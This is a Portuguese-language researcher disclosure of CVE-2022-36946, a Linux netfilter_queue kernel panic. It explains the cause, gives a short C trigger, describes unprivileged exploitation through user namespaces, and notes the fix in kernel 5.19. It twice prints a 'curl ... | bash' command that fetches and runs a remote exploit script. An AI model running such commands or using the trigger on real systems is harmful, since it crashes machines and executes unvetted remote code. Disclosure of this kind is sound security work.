
CVE-2022-36946 pânico do kernel linux no netfilter_queue
Reportado por: Domingo Dirutigliano e Nicola Guerrera
Enquanto trabalhávamos no firegex, nosso firewall de aplicação para competições CTF de Ataque-Defesa, nos deparamos com alguns panics do kernel.
Esse comportamento estranho foi então isolado e analisado, levando à descoberta dessa potencial falha de segurança no módulo netfilter, especificamente com nfnetlink.
O kernel entra em pânico ao enviar veredito nf_queue com atributo nfta_payload de 0 bytes.
nlh = nfq_nlmsg_put(buf, NFQNL_MSG_VERDICT, queue_num);
nfq_nlmsg_verdict_put_pkt(nlh, NULL, 0);
nfq_nlmsg_verdict_put(nlh, 1, NF_ACCEPT );
Isso acontece porque a pilha IP/IPv6 puxa o cabeçalho IP(v6) do pacote após o hook de entrada.
Então, se o usuário truncar o pacote abaixo do tamanho do cabeçalho, este skb_pull() resultará em um skb malformado, causando um pânico.
Tente executando curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash também com um usuário sem privilégios (mais detalhes abaixo).
Usando namespaces do linux, em particular user namespaces (ativados via kernel.unprivileged_userns_clone=1), um usuário normal é capaz de criar um namespace de rede, permitindo que ele use as mesmas primitivas do kernel que desencadeiam o pânico.
Isso permitirá que você use a vulnerabilidade sem ter root.
Esse cenário não é incomum: por exemplo, o podman usa essa opção para executar seus contêineres (rootless), e em algumas distribuições essa opção está ativada por padrão.
Você também pode tentar executar o exploit sem privilégios de root executando:
podman run -it --cap-add NET_ADMIN ghcr.io/pwnzer0tt1/cve-2022-36946
ou se quiser testá-lo rapidamente (apenas tar e curl precisam estar instalados):
curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash
Corrigido no kernel linux 5.19 ver diff
Patch original pela equipe de segurança do kernel linux aqui
Funcionou na 6ª tentativa, então mantivemos o nome.

https://docs.google.com/presentation/d/1SoSFxpfQ02_ZkLKFMxpkgst3F56sBiQN3FfNfTutxUs/edit?usp=sharing